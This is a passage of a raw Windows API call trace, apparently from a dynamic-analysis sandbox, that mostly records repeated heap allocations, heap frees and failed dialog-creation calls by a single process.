RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.683] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.683] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.683] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.683] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.683] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.683] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.683] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.683] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.684] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.684] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.684] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.684] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.684] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.684] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.684] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.684] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.684] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.684] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.684] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.684] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.684] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.684] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.684] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.684] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.684] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.684] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.684] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.684] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.684] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.684] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.684] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.684] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.684] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.684] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.684] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.684] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193689573, cy=27, fuLoad=0x0) returned 0x0 [0026.684] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.684] GetLastError () returned 0x715 [0026.685] SetLastError (dwErrCode=0x715) [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.685] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.685] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.685] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.685] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.685] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.685] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.685] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.685] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.686] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.686] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.686] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.686] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.686] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.686] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.686] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.686] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.687] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.687] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.687] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.687] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.687] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.687] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecd0 | out: hHeap=0x2d0000) returned 1 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecd0 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.687] GetTextFaceA (in: hdc=0x0, c=0, lpName=0x0 | out: lpName=0x0) returned 0 [0026.687] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.687] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.687] GetViewportExtEx (in: hdc=0x0, lpsize=0x0 | out: lpsize=0x0) returned 0 [0026.687] DefSubclassProc (hWnd=0x0, uMsg=0x0, wParam=0x0, lParam=0x0) returned 0x0 [0026.687] PdhCollectQueryData (in: hQuery=0x0 | out: hQuery=0x0) returned 0xc0000bbc [0026.687] SetWindowTextA (hWnd=0x0, lpString=0x0) returned 0 [0026.687] GetViewportOrgEx (in: hdc=0x0, lppoint=0x0 | out: lppoint=0x0) returned 0 [0026.688] LoadImageA (hInst=0x400000, name=0x0, type=0x1, cx=-1193670628, cy=27, fuLoad=0x0) returned 0x0 [0026.688] RedrawWindow (hWnd=0x0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x101) returned 1 [0026.688] GetLastError () returned 0x715 [0026.688] SetLastError (dwErrCode=0x715) [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.688] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.688] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.688] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.688] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.688] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.688] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.689] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.689] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 0 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed10 | out: hHeap=0x2d0000) returned 1 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed10 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed50 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eecf0 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed70 [0026.689] RtlAllocateHeap (HeapHandle=0x2d0000, Flags=0x0, Size=0x18) returned 0x2eed30 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed70 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed50 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eed30 | out: hHeap=0x2d0000) returned 1 [0026.689] HeapFree (in: hHeap=0x2d0000, dwFlags=0x0, lpMem=0x2eecf0 | out: hHeap=0x2d0000) returned 1 [0026.689] CreateDialogParamA (hInstance=0x400000, lpTemplateName="PrintDlgBox", hWndParent=0x0, lpDialogFunc=0x0, dwInitParam=0x0) returned 0x0 [0026.689] SetDlgItemTextA (hDlg=0x0, nIDDlgItem=0, lpString="") returned 